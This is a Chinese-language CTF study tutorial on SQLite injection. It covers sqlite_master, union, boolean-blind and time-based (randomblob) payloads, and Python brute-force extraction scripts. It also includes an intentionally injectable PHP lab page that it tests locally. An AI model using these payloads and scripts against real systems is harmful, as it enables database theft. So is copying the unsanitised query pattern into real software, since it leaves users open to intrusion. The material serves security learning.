最近比赛发现好多都是SQLite注入,于是特地来学习一下
首先什么是SQLite?
SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件
注:也就是轻量级的数据库,同时不需要任何的外部依赖,不需要单独的服务器进程或操作的系统,同时一个SQLite数据库是存储在一个单一的跨平台的磁盘空间的,也允许多个进程或线程安全访问
数据库文件格式是跨平台,可以在32位和64位系统之间或者在大端小端架构之间自由复制数据库
局限性
在SQLite中,视图是只读的,不可以在视图上执行操作语句,同时可以应用的唯一的访问权限是底层操作系统的正常文件访问权限
基础语法
基础语法和MySQL基本差不多,但是与MySQL不同,SQLite的每一个数据库就是一个文件
这边我本地使用一下,下载好sqlite数据库
这边注意sqlite_master
表中保存数据库表的关键信息
它保存了执行的sql语句,也就是我们之后注入查询表名和列名的关键
sqlite数据库中只存在sqlite_master
和当前数据库
#表中包含的字段如下,也就是sqlite_master的形式
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
#从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table';
#获取表名和列名
sqlite> select sql from sqlite_master where type='table'; #会打印出创建表时所执行的sql语句
#设置格式化输出,可以更加直观的看到执行结果
sqlite>.header on
sqlite>.mode column
sqlite>.timer on
常用的
sqlite3 sqltest.db
#成功创建数据库文件
sqlite> .databases #判断数据库是否存在
sqlite> .open sqltest.db #打开数据库
sqlite> .tables #列出数据库中所有的表
sqlite> .schema test #得到该表所使用的命令
#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
...> name char(50) NOT NULL
...> );
#向表中插入数据
sqlite> insert into test (name) values ('sun');
sqlite> insert into test (name) values ('empty');
#查询语句
sqlite> select * from test;
#导入导出
sqlite3 testDB.db .dump > testDB.sql #导出
sqlite3 testDB.db < testDB.sql #导入
也就是说,创建的库就可以看作是一个文件
可以使用注释
闭合方式就自行判断吧,下面是可以用的注释符
;
--
/*
SQLite大小写敏感性,虽然说是不区分大小写,但是也有一些命令是大小写敏感的,比如GLOB和glob在语句中就有不同的含义
创建表的格式
CREATE TABLE database_name.table_name(
column1 datatype PRIMARY KEY(one or more columns),
column2 datatype,
column3 datatype,
.....
columnN datatype,
);
那个PRIMARY KEY(one or more columns)代表的是约束条件,一般作用是显示非空性和唯一性
增加数据格式
INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)]
VALUES (value1, value2, value3,...valueN);这个不用多说了吧
select语句格式
SELECT column1, column2, columnN FROM table_name;
还有一个Schema信息,对于我们后面做SQLite注入题目很重要,也就是上面已经提到过的sqlite_master
因为所有的点命令只在sqlite提示符中可用,所以在对sqlite进行操作的时候,要使用带有sqlite_master表的select语句来列出所有在数据库中创建的表
sqlite> SELECT tbl_name FROM sqlite_master WHERE type = 'table';
sqlite> SELECT sql FROM sqlite_master WHERE type = 'table' AND tbl_name = 'COMPANY';
具体解释一下sqlite_master
sqlite_master 表结构
sqlite_master 表的常见字段如下:
type:表示对象的类型,可能的值有 'table'、'index'、'view' 等。
name:对象的名称,例如表名、索引名等
tbl_name:关联的表名,对于表而言,name 和 tbl_name 通常是相同的;对于索引和视图,tbl_name 表示它们所关联的表的名称
rootpage:存储对象数据的页号
sql:创建该对象的 SQL 语句
这也是为什么我们在sqlite注入中,要去查sqlite_master的原因
关于注入
注入方式与MySQL区别不大,但是少了一些常用的函数,比如mid,left,sleep,if等
像是order by和union select还都是可以正常使用的
这边对于正常的查询就不在赘述了,直接说说不一样的
hex,limit和substr都是可以用来构造语句的
查看版本
-1' union select 1,2,sqlite_version() --
查询表名和列名,这里直接通过查询 sqlite_master 表
-1' union select 1, (select sql from sqlite_master) ,3--
布尔盲注
根据查询的正确或错误时的页面回显来判断数据内容
sqlite不支持ascii,所以直接用字符查询
- 1' or length(sqlite_version())=5--
-1' or length ( sqlite_version ()) = 6--
-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'--
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'--
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'--
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'--
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'--
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'--
可以利用二分法去爆破,更快一些,晚些时候我会写上脚本的
import requests
url = 'http://localhost:9000/index.php'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'/*".format(i,chr(mid))
datas = {
"id": payload
}
res = requests.post(url=url,data=datas)
if 'Username' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
时间注入
由于SQLite没有sleep
函数,只能用randomblob(N)
函数去代替,作用就是返回一个N字节长的包含伪随机数的BLOG
,其中N是正整数,可以用其来制造演示
同时由于其也没有if函数,那我们就需要使用case....when
来构造查询语句
- 1' or (case when(substr(sqlite_version(),1,1)='3' ) then randomblob ( 1000000000 ) else 0 end ) --
这边解释一下case when
它是SQL里常见的条件表达式,作用是依据不同的条件来返回各异的值,就和if-else类似
基本语法:
CASE expression
WHEN value1 THEN result1
WHEN value2 THEN result2
...
ELSE default_result
END
expression:这是要进行比较的表达式
value1, value2, ...:这些是用来和 expression 作比较的值
result1, result2, ...:当 expression 与对应的值相等时返回的结果
default_result:若 expression 和所有 value 都不相等,就返回这个默认结果
再对randomblob函数进行解释
它是SQLite数据库的一个函数,主要用于生成指定长度的随机二进制数据(BLOB)
基本语法:
RANDOMBLOB(n)
其中n代表要生成的随机二进制数据的字节数,他必须是一个非负数
此时再看语句就好理解了
-1' or (case when(substr(sqlite_version(),1,1)>'3') then randomblob(300000000) else 0 end)--
时间注入脚本
import requests
import time
url = 'http://localhost:9000/index.php'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "-1' or (case when(substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}') then randomblob(300000000) else 0 end)--".format(i,chr(mid))
datas = {
"id": payload
}
start_time=time.time()
res = requests.post(url=url,data=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=2:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
本地测试dome
我自己是用小皮搭建的本地测试,然后sqlite里的东西,是弄完,导出来的test.db
sqlite> create table user_data(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL,
...> passwd cahr(50) NOT NULL);
sqlite> insert into user_data (id,name,passwd) values (1,'admin','password');
sqlite> insert into user_data (id,name,passwd) values (2,'haha','sun');
sqlite> insert into user_data (id,name,passwd) values (3,'zzz','empty');
index.html
<!DOCTYPE html>
<html>
<body>
<form action="3.php" method="POST">
<input type="text" name="id" size="80">
<input type="submit">
</form>
</body>
</html>
3.php
<?php
class MyDB extends SQLite3
{
function __construct()
{
$this->open('test.db');
}
}
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n</br>";
}
$id = $_POST['id'];
$sql =<<<EOF
SELECT * from user_data where id='$id';
EOF;
$ret = $db->query($sql);
if($ret==FALSE){
echo "Error in fetch ".$db->lastErrorMsg();
}
else{
while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
echo "ID = ". $row['id'] . "</br>";
echo "NAME = ". $row['name'] ."</br>";
echo "PASS = ". $row['passwd'] ."</br>";
}
var_dump($ret->fetchArray(SQLITE3_ASSOC));
}
$db->close();
?>
现在就可以自己本地测试了,测试sqlite注入漏洞
先试试闭合
1'
提示错误,是单引号闭合,可以用分号或者--进行注释后面的,这点与Mysql有些不同
1';
1' order by 4--
#Error in fetch 1st ORDER BY term out of range - should be between 1 and 3
说明有3个字段
接下来就是正常注入
1' union select 1,2,sqlite_version()--
可以看到回显
- 1' union select 1,2,(select group_concat(id,passwd) from user_data);